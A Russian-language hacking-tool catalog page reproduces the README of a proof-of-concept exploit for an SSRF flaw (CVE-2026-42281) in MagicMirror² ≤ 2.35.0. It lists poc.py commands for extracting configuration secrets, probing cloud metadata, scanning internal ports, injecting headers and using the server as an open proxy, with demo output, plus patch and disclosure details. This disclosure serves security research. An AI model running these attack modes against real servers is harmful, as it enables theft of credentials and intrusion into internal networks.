Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42281 — Эксплойт proof-of-concept для CVE-2026-42281 — неаутентифицированный SSRF в MagicMirror² ≤ 2.35.0, позволяющий извлекать конфигурацию, зондировать метаданные облака и сканировать внутреннюю сеть. | Kitploit
Инструменты/GitHubGitHub/astaruf/cve-2026-42281
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеRed Teaming
GitHubastaruf/cve-2026-42281

CVE-2026-42281

Эксплойт proof-of-concept для CVE-2026-42281 — неаутентифицированный SSRF в MagicMirror² ≤ 2.35.0, позволяющий извлекать конфигурацию, зондировать метаданные облака и сканировать внутреннюю сеть.

Репозиторий
14 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - Неаутентифицированный SSRF через endpoint /cors

Обнаружено и сообщено: Astaruf

Полный отчёт: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

Официальное уведомление: Бюллетени безопасности MagicMirrorOrg/MagicMirror

Запись в NVD:

https://nvd.nist.gov/vuln/detail/CVE-2026-42281

В этом репозитории размещён proof-of-concept эксплойт для CVE-2026-42281 — неаутентифицированного SSRF в MagicMirror² ≤ 2.35.0, который превращает endpoint /cors в полнофункциональный SSRF-прокси, достигающий loopback, внутренних сетей и облачных metadata-сервисов. При hideConfigSecrets: true тот же endpoint также позволяет извлечь значения process.env.SECRET_* одним запросом.

Полный обзор кода, анализ уязвимости, разбор исправления, спор о CVSS и хронологию см. в полном отчёте на nstsec.com. Этот README посвящён использованию PoC.

Proof of Concept

Требования

  • Python 3.8+
  • Без внешних зависимостей (используется только стандартная библиотека)

Быстрый старт

root@kitploit:~
# 1. Проверить, уязвима ли цель
python3 poc.py -t http://target:8080 --check

# 2. Извлечь конфигурацию приложения (с автоматическим поиском секретов)
python3 poc.py -t http://target:8080 --config

# 3. Проверить облачные metadata-сервисы у 10+ провайдеров
python3 poc.py -t http://target:8080 --cloud

# 4. Сканирование портов внутренней сети через SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Демонстрация злоупотребления входящими/исходящими заголовками
python3 poc.py -t http://target:8080 --headers

# 6. Использование сервера как универсального открытого прокси
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

Режимы атаки

ФлагОписание
--checkПроверка эксплуатируемости SSRF через loopback-запрос к /version
--configSSRF /config через loopback, разбор JSON, поиск API-ключей / токенов / паролей в конфигурациях модулей
--cloudПроверка metadata-сервисов AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; автоматическое перечисление ролей AWS IAM
--port-scan HOSTSСканирование одного или нескольких хостов (-p 22,80 / -p 0-1024 / -p - для всех 65535 портов), многопоточное
--headersЧасть A: внедрение заголовков Authorization/X-* в исходящий запрос через sendheaders. Часть B: пересылка управляемого атакующим Set-Cookie из вредоносного источника в браузер жертвы через expectedheaders
--open-proxy URLУниверсальный SSRF GET к любому URL, вывод тела ответа (полезно для изучения внутренних HTTP API)

Дополнительные параметры

ПараметрПо умолчаниюОписание
-t / --targetобязательноURL цели, например http://192.168.1.10:8080
--timeout2.0Таймаут на запрос в секундах
--threads30Потоки для --port-scan
--verboseвыкл.Вывод полных JSON-ответов (и незамаскированных тел облачных metadata)

Демонстрация

1. Баннер PoC и режим --check, подтверждающий SSRF:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — Неаутентифицированный SSRF через endpoint /cors
  Автор: Astaruf | https://nstsec.com

  CHECK, Доступность цели и подтверждение SSRF
  [*] Проверка доступности цели ...
  [+] Цель доступна, MagicMirror 2.35.0
  [*] Подтверждение SSRF через loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF ПОДТВЕРЖДЁН, сервер получил внутренний ресурс от нашего имени
      << 2.35.0

2. --config извлекает конфигурацию приложения и автоматически находит секреты в конфигурациях модулей:

root@kitploit:~
  ИЗВЛЕЧЕНИЕ КОНФИГУРАЦИИ, Полная конфигурация через SSRF loopback
  [+] Конфигурация получена, 1194 байт
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] открыт для всех IP

  НАЙДЕННЫЕ СЕКРЕТЫ:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers подтверждает исходящее внедрение и входящую пересылку:

root@kitploit:~
  ВНЕДРЕНИЕ ЗАГОЛОВКОВ, Злоупотребление входящими и исходящими заголовками
  [*] Часть A: внедрение произвольных заголовков в исходящие запросы через sendheaders
  [+] Заголовок X-Injected-By: SSRF-PoC подтверждён в исходящем запросе
  [+] Заголовок Authorization: Bearer DEMO_TOKEN подтверждён в исходящем запросе

  [*] Часть B: пересылка заголовков ответа в браузер через expectedheaders
  [+] Заголовок ответа Set-Cookie переслан в браузер: session=hijacked;HttpOnly
  [+] Браузер получает этот cookie так, как если бы он исходил с домена MagicMirror

4. --open-proxy подтверждает исходящий HTTP с сервера:

root@kitploit:~
  ОТКРЫТЫЙ ПРОКСИ, Получение https://httpbin.org/ip через уязвимый сервер
  [+] HTTP 200, получено 32 байт от сервера

{
  "origin": "<публичный IP сервера, не атакующего>"
}

Примечания по тестированию

  • --check (как и любой другой режим) отправляет SSRF loopback на http://127.0.0.1:<port>/version. При тестировании через Docker убедитесь, что порт хоста совпадает с портом внутри контейнера (например, пробросьте 8080:8080, а не 8081:8080), иначе loopback-цель не будет разрешена изнутри контейнера, даже если экземпляр действительно уязвим.
  • --cloud против необлачного экземпляра (Raspberry Pi, bare metal) не даёт результатов — это ожидаемо, и скрипт явно сообщает об этом. Вектор существует; для его тестирования требуется реальное облачное развёртывание.

Исправление

Выпущено в MagicMirror² v2.36.0 (релиз от 30 апреля 2026 г.). Исправление реализовано в шести PR (#4084, #4087, #4090, #4091, #4102, #4104). См. полный отчёт с разбивкой по каждому PR, фрагментами кода и матрицей проверки обходных путей, повторно протестированных против пропатченной версии.

Хронология

ДатаСобытие
2026-03-30Уязвимость обнаружена, открыт публичный issue, отправлено письмо мейнтейнеру
2026-03-31Мейнтейнер подтвердил получение отчёта
2026-04-01Мейнтейнеры добавили SECURITY.md и включили GitHub Security Advisories в репозитории
2026-04-09Открыто официальное уведомление GHSA
2026-04-26Исправление подтверждено для следующего релиза. CVE-2026-42281 присвоен GitHub
2026-04-26Спор о CVSS — вектор повышен с Moderate до 9.2 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30Выпущен MagicMirror² v2.36.0, исправление опубликовано публично
2026-05-04Публичное раскрытие (отчёт + репозиторий PoC)

Ссылки

  • Полный отчёт — nstsec.com
  • CVE-2026-42281 — NVD
  • Официальный репозиторий MagicMirror²
  • Примечания к релизу MagicMirror² v2.36.0
  • CWE-918: Server-Side Request Forgery
  • OWASP — Server Side Request Forgery

Отказ от ответственности

Данный материал предоставлен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против экземпляров MagicMirror², которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование.

Лицензия

MIT

Скачать инструмент